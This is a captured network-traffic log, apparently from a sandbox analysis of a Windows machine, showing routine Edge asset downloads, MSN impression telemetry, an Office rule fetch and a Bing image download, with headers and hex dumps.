2024-11-20 13:43:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 14d50bcb-801e-0054-7c1b-3b828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-185f5d8b95ckwnflhC1NYCx9qs0000000a8g00000000nv5z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49884	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:45 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: db393614-601e-005e-0852-3b9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-185f5d8b95c4vwv8hC1NYCy4v40000000ac000000000k0qf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49887	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:45 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8573f691-e01e-0022-541b-3b0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-185f5d8b95cwtv72hC1NYC141w0000000a6g00000000etfb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49888	20.74.47.205	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1506 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-20 13:43:45 UTC	1506	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 37 37 37 39 38 37 38 35 39 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 41 34 35 34 37 39 32 30 41 41 33 46 34 39 43 36 41 31 30 32 43 31 34 44 41 44 34 38 41 46 45 44 26 41 53 49 44 3d 37 64 36 62 63 32 32 39 37 62 32 32 34 30 35 36 61 34 35 61 35 30 65 63 30 32 61 32 61 37 63 61 26 54 49 4d 45 3d 32 30 32 34 31 31 32 30 54 31 33 34 33 33 37 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 31 32 30 54 31 33 34 33 30 34 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 41 34 35 34 37 39 32 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1777987859&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=A4547920AA3F49C6A102C14DAD48AFED&ASID=7d6bc2297b224056a45a50ec02a2a7ca&TIME=20241120T134337Z&SLOT=1&REQT=20241120T134304&MA_Score=0&&DS_EVTID=A454792
2024-11-20 13:43:46 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134345Z-1777c6cb754mrj2shC1TEB6k7w00000009x0000000000aes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49894	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	375	OUT	GET /th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:46 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 595926 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F05E6B6FDC1C478594F54F73844951ED Ref B: EWR311000108021 Ref C: 2024-11-20T13:43:45Z Date: Wed, 20 Nov 2024 13:43:45 GMT Connection: close
2024-11-20 13:43:46 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a d4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 ec 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 34 20 31 33 3a 34 36 3a 30 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 Data Ascii: JFIF``ExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:14 13:46:08
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: d3 6a b9 86 14 98 a5 a5 f6 a0 42 73 47 34 6d a2 80 13 14 2d 2a d1 47 32 18 51 45 2a d5 29 21 58 6e 29 57 8a 1a 97 14 ee 31 28 a5 c5 1f c3 48 04 a2 97 14 63 34 5c 42 51 4e 5a 18 50 a4 30 e6 91 45 1f c5 4b f2 d5 5f 40 1b 8f 9a 97 14 b4 63 e6 a3 9b 41 07 34 98 c3 50 bc 50 b4 5c 01 7d 29 69 dc d1 cd 1c d7 0b 07 34 98 a5 e6 85 a7 70 0e 68 e6 8a 3f 8a 92 92 10 73 45 1d 29 56 86 c7 61 16 9d cd 14 7b d1 d0 46 26 29 79 a2 8a e1 24 39 a6 d3 b9 a3 9a 77 00 e6 91 a9 79 a3 9a 2e 03 68 a7 73 47 34 00 da 29 dc d2 30 a7 75 60 12 86 a7 73 4d a2 e0 0d 47 34 52 e2 a9 b2 44 a2 9d cd 1c d1 cc 03 69 5a 8c 52 f3 45 c0 39 a4 c5 2f 34 73 4e e0 22 d2 af 14 51 4c 04 c5 2a d1 45 1c c0 14 73 45 14 d3 60 14 ee 69 31 4b cd 55 c0 39 a3 9a 39 a7 73 4c 06 d1 4a d4 bc d1 71 d8 39 a2 85 e2 Data Ascii: jBsG4m-G2QE)!Xn)W1(Hc4\BQNZP0EK_@cA4PP\})i4ph?sE)Va{F&)y$9wy.hsG4)0u`sMG4RDiZRE9/4sN"QL*EsE`i1KU99sLJq9
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 91 97 d4 2d 90 af 31 c9 e5 b3 7d 71 9f fc 7b 75 6a 64 47 e2 0d 9e 56 e2 d1 a9 f9 7e a6 b9 ff 00 86 7e 26 d1 3c 67 a6 cb a9 e8 90 5d c4 b0 5c f9 72 47 7a a1 5d 64 5f 9f 38 52 78 f9 eb 57 c4 1a bc 5a 5f 8d 2c 60 96 da 49 05 e5 b3 08 e4 56 1f 29 57 1c 73 fe f5 79 b2 bf 33 b9 b6 ab 43 e7 5f 8b 90 cb 6f e3 0d 63 fe 5b cb 1d ec be 5c 7f f3 f5 12 b3 dd 41 b7 fd a5 0d 79 17 d1 3d ab ce 75 0b 71 7e b2 41 04 bb bc b8 e3 82 3b 9f ba d2 44 e7 cc b3 b8 fa ab 7c 8c 7b 57 a2 7c 69 5b bf f8 4b b5 2b 48 a7 55 99 b5 49 85 a4 92 7c ad 0c e0 fd b6 db fe 02 eb 25 c4 7e 9f 91 ae 1a 48 a0 66 89 20 ff 00 45 b5 96 43 6d 1f 9b ff 00 2e a2 7f de 46 8f 9f e0 12 6e 1f a7 f7 ab d9 c2 4b f7 68 d3 a5 cc 9b 6b 82 db 6f 7e c7 b8 ed 9a f3 ec 9f 77 70 c7 97 a8 5a 7b 64 7e f4 0e c2 ac 49 1d Data Ascii: -1}q{ujdGV~~&<g]\rGz]d_8RxWZ_,`IV)Wsy3C_oc[\Ay=uq~A;D\|{W\|i[K+HUI\|%~Hf ECm.FnKhko~wpZ{d~I
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 2c 8b 24 7a fc 11 c4 bb be cb 28 e2 59 62 c7 de 00 a9 dc 07 de f2 7f e9 aa e2 b5 cc 92 f8 66 e2 79 65 89 65 ba f0 f5 ea dc c9 6d bb 77 db b4 c9 b6 29 39 f5 1f b8 c9 f7 dd dd aa bc 33 de 69 b2 7d 9b 47 ff 00 49 b9 f0 be 75 5d 1a 49 17 fe 42 1a 44 c0 17 89 97 f8 80 5d 8c 47 65 f3 87 f0 8a ec 77 96 c0 4f af 45 3c 9e 6e a1 a5 45 1a dd e9 ff 00 f1 3b d3 e2 5f 9d 24 81 f8 9e 31 fd e4 f9 4e 47 fd 33 6f f9 ea 2b 9c 66 30 32 8d 2b e6 fb 32 b6 ad a2 6f f9 bc cb 76 cf 9f 6a df de c6 d7 c8 ef e5 c9 fd fa e8 34 df ed 3b 19 ad 62 f0 e7 ef 1a ce 36 d7 3c 2e d2 7c df 6a b3 61 9b 8b 26 fe f9 50 bf 77 d6 39 31 f7 96 b2 35 6b 4d 90 c7 75 a1 2b 45 6e d9 d6 74 06 fb cd 0e 0f ef ad bd c8 f2 fa 77 30 9f f9 e9 ce b4 dd b4 7f d7 f5 fe 60 8c e3 fe 8f 24 43 4b 6f 31 62 8d b5 0d 19 Data Ascii: ,$z(Ybfyeemw)93i}GIu]IBD]GewOE<nE;_$1NG3o+f02+2ovj4;b6<.\|ja&Pw915kMu+Entw0`$CKo1b
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 67 67 5c 66 a3 3a 57 a2 ae fb 74 bf 4f eb c8 9a da c6 d7 b1 d7 fe d0 30 78 52 db ca 83 49 d2 ad ad 66 66 05 5a da e6 46 5d 84 12 03 23 a8 c3 74 e8 4d 6d 7c 2f f0 b6 99 a6 68 2b 73 71 3f 87 f5 05 be 89 64 96 2b b9 36 4d 6e 30 78 4e 08 0d 9f 5a f1 af 1d 6a f2 6a 9a b4 72 cb 3f de c0 f9 5b 76 d0 a0 0a 92 e7 57 b8 8a 66 82 39 59 8e d0 15 7f 8b a5 79 f4 f0 75 e5 42 31 6d 5d ea d2 56 5f 24 ba 1c 96 e8 7a 27 c7 8d 37 c3 96 da 1d ac fa 62 c1 1d c6 e6 46 f2 ee e3 93 70 1d ca a2 2f e7 5e 23 6e e4 5f 49 9f f9 e7 5a 5a f6 ab 24 ca a9 24 bf 76 b9 d6 ba 97 cc 63 1c ac dd bb 57 d2 65 78 67 46 82 85 ca f8 56 e7 47 a3 ca 5a 49 7f eb a6 3f 4a a9 f1 92 4b 6f f8 47 74 a7 b7 58 36 cb 7f 72 56 5d c7 cc 60 89 12 e1 93 71 0a 32 4f 38 c9 f5 ec 2a 68 37 ef 14 92 49 2b 7e ef ae ef Data Ascii: gg\f:WtO0xRIffZF]#tMm\|/h+sq?d+6Mn0xNZjjr?[vWf9YyuB1m]V_$z'7bFp/^#n_IZZ$$vcWexgFVGZI?JKoGtX6rV]`q2O8*h7I+~
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: e5 99 14 0f fd 04 01 f9 0a e1 bc 33 69 67 7b ab 2d b5 fd f4 16 30 c8 a7 74 f2 ae e5 5e 3f ad 7b 98 4c 44 e7 87 8d 5a 8a ce da a3 c4 c6 51 84 2b 3a 70 77 46 6c 9a 95 cb 2c 80 ed c4 b1 2c 2d f2 8e 8b 8c 7e 3c 75 a7 5b 11 f6 75 cf f7 be ed 6d d9 e8 da 65 c7 8a a7 d2 bf b4 fc d8 b6 91 69 3d b5 b1 76 b8 93 1f 22 05 ce 7e 66 e3 da 99 e2 df 0d 6b 7e 1e 5f f8 9a 69 93 da 8f 31 92 36 96 32 8a c5 71 b8 0c 81 c8 c8 e3 ad 75 47 11 4b 99 46 f6 6c e7 f6 33 51 72 b6 88 8e d3 ec d2 2c ae eb 68 a5 a2 3e 5a b6 57 9f 6c 77 ad 5f 0d cd e1 e9 ae 25 9e ff 00 4c 81 ae 20 68 bc a8 1a 42 21 99 07 0f bb 9c ee ef c5 72 f1 aa 3d ab 4b f7 4c 6c 3e 5f ad 3a cc 49 1d 9b 5d 98 9b 6a b7 ca cc bf 2b 7e 34 aa 52 e7 4e ce cc d2 95 6e 56 9d 90 ba 95 b8 b6 d5 1e 20 d1 b7 97 29 1b a3 6d ca dc Data Ascii: 3ig{-0t^?{LDZQ+:pwFl,,-~<u[umei=v"~fk~_i162quGKFl3Qr,h>ZWlw_%L hB!r=KLl>_:I]j+~4RNnV )m
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 88 dc 38 62 32 79 08 a3 1f 4c 57 b9 29 60 21 04 a4 d5 b6 7d 34 27 9a 72 9b e5 57 67 9f ea df 11 35 5d 43 e2 56 87 ac e9 f1 5a 45 2e a7 f6 52 b7 2d 6d 1b dc c2 fb fc 87 5f 37 68 dd 86 57 e7 1f 77 15 13 6b 9e 33 f1 1f c4 08 1e 05 d4 2f 1a ce e7 c9 b1 92 38 02 98 c3 10 36 ab e0 00 55 4f af 05 73 5e a5 e1 df 0f 78 5b 4c b1 d1 ee 6c 34 a8 20 d4 f4 d9 49 9e 39 71 75 1c 88 4e 72 a5 f2 51 89 fa 62 ba 2d 41 11 74 db ab 58 f4 f9 23 d3 75 06 59 a1 b4 6d 8e 90 f3 91 e5 9f bc 83 39 cf 20 9a f1 31 19 d6 4f 87 9a 70 5c cd 2b 2b 2f d4 f5 28 e5 38 fa b6 8c a3 ca 9f f3 3f d0 f2 dd 2b e1 5f 8c f5 68 75 39 3c 49 2e e5 b6 88 1b b8 ef 6e de 69 a3 08 fb fc c5 5c 90 47 de e8 dc ef 3e b5 ea 5e 0d f0 0f 87 b4 78 ed 35 0f ed 08 3e d3 05 f4 37 96 92 58 db 08 61 91 c4 4e aa af 16 4e Data Ascii: 8b2yLW)`!}4'rWg5]CVZE.R-m_7hWwk3/86UOs^x[Ll4 I9quNrQb-AtX#uYm9 1Op\++/(8?+_hu9<I.ni\G>^x5>7XaNN
2024-11-20 13:43:46 UTC	16069	IN	Data Raw: 8c bf f3 cd 7a d4 71 49 6f 16 45 4a 4d ec cf 3c 79 52 59 39 dc d2 b3 7f c0 54 56 8f 86 fc 3f aa eb d2 5e 45 a5 2a cb 2d 9d b3 5d 4e ad 22 26 d8 93 ef 11 b8 8d c4 7a 0c 9a ef 5b c0 fe 1b 91 54 88 b5 b8 bf 87 6f d9 b7 73 e9 f7 3a fb 57 61 e0 ff 00 0b f8 63 4c b1 9e 7b 6f 0b eb 7a 94 b2 5b 14 59 6e ec 03 a4 2f c1 de a3 ca f9 b1 cf 07 d6 b3 c4 66 10 84 7d dd c9 86 1d c9 fb cc f9 e7 71 13 60 fc c3 fb d5 dd 78 47 c0 6f 7f e2 eb ad 0e e6 55 6f 2b 4b fb 52 cf b5 d6 38 f7 a0 28 cd 80 4e d1 bb a8 06 ba 6d 57 c3 1e 14 92 f1 8c eb 7d 6c de 67 cd 1a da 47 0f e1 ca 8c 57 4c de 20 b6 b2 d6 16 ef c3 f6 32 5c cb 06 92 b6 0a d7 d6 56 ee b7 4e 38 26 5e fb 71 b7 90 7f 80 70 32 6b 8f 1b 8c ad 24 a3 42 3b a7 af 6d ac 4c 69 24 fd e3 c7 3c 49 a2 e9 da 5e a0 d6 76 f7 d0 5f 08 a2 Data Ascii: zqIoEJM<yRY9TV?^E*-]N"&z[Tos:WacL{oz[Yn/f}q`xGoUo+KR8(NmW}lgGWL 2\VN8&^qp2k$B;mLi$<I^v_
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 25 54 1f 29 79 00 7f ac 4e 9c e2 d5 e7 c1 8f 0e 69 fa 7d f4 97 ba e6 a1 29 8e 32 60 f2 d4 22 a9 e7 03 a1 ca fd 6b c8 3c 65 a0 69 7a 15 be 25 69 25 69 db 31 c9 e6 7f ab eb f2 9f 94 7b 57 3c b8 6f 22 75 e5 49 e1 e2 a5 e4 ed f9 24 75 3c 45 7f 67 17 ce da ff 00 0a ff 00 33 d6 6e be 33 49 03 6a 31 bf 89 fc 21 a8 44 f7 26 d9 d3 fb 52 e7 64 c8 c2 40 c4 03 d5 0f 97 f4 fd e2 7a 9c 79 5f c4 2f 0f f8 73 c4 ba e5 cd ed be b9 e0 5d 39 5a f8 c3 b2 c6 fd 94 49 9c 8d e3 7a fd c1 e5 e4 7f d7 41 f8 71 37 d2 e8 ee d8 78 a7 6d d3 8d df 37 fc b3 e7 2b fc aa de 83 a7 f8 32 6f 2a 27 b3 b9 f3 a5 bd f9 9b ed 3f 2a c5 c7 18 23 eb cd 7a d9 6e 45 96 e5 ce 55 70 d4 f9 5b 5d df f9 d8 e2 c5 62 2a d4 6a 9b 77 5e 89 7f 99 e8 9a 3f 85 7c 05 a1 78 56 e6 4b 7f 88 ca b7 2d 72 60 58 ec 75 48 Data Ascii: %T)yNi})2`"k<eiz%i%i1{W<o"uI$u<Eg3n3Ij1!D&Rd@zy_/s]9ZIzAq7xm7+2o'?#znEUp[]b*jw^?\|xVK-r`XuH
2024-11-20 13:43:46 UTC	16384	IN	Data Raw: 37 6d c7 cb 91 c5 59 87 c3 1a 6d b4 92 6a 8b 6d 63 24 f7 32 19 a6 9e e6 4c 34 8e c7 96 27 04 92 6b 6b c3 d6 da 65 ae 8f 36 f8 2d 91 b7 7c d2 c4 c1 d9 71 fc 3b 81 23 3f 56 18 af 2f f8 8b e2 0f 10 69 fa 83 c7 a0 78 7a fb 53 95 5b fd 67 da e3 b7 5c 75 e5 9d 81 3f 86 6b c9 ab 57 30 c4 ce 34 2e db ed a2 b7 4d 96 db 75 2e 9a c2 c2 a4 9c 3d db 75 de fe 96 3c be da 0c 5d 4e 81 95 76 dc c8 3e 5e 9f 7c f4 ad ab 3b 7c f1 5c 5a 5c 78 e7 4c d5 37 f8 93 c3 5f 61 b7 ba b9 26 39 d6 ee 39 17 93 92 3e 56 27 3c d7 a1 5a c5 be 1f 32 26 ff 00 76 bf 5a cb e2 dd 34 a4 ac d2 47 87 5a 49 b6 d6 c7 03 f1 2e db cb f1 14 1f ed 5b 0f fd 0c d7 31 ab 29 56 d3 e4 0d ca ea 11 7f 51 5d 8f c5 68 1f fb 6a c5 dd b7 79 90 36 df c1 ff 00 fa f5 e5 9a af 89 a4 97 c5 50 68 4b 67 e5 ac 1a 94 42 49 Data Ascii: 7mYmjmc$2L4'kke6-\|q;#?V/ixzS[g\u?kW04.Mu.=u<]Nv>^\|;\|\Z\xL7_a&99>V'<Z2&vZ4GZI.[1)VQ]hjy6PhKgBI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49892	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
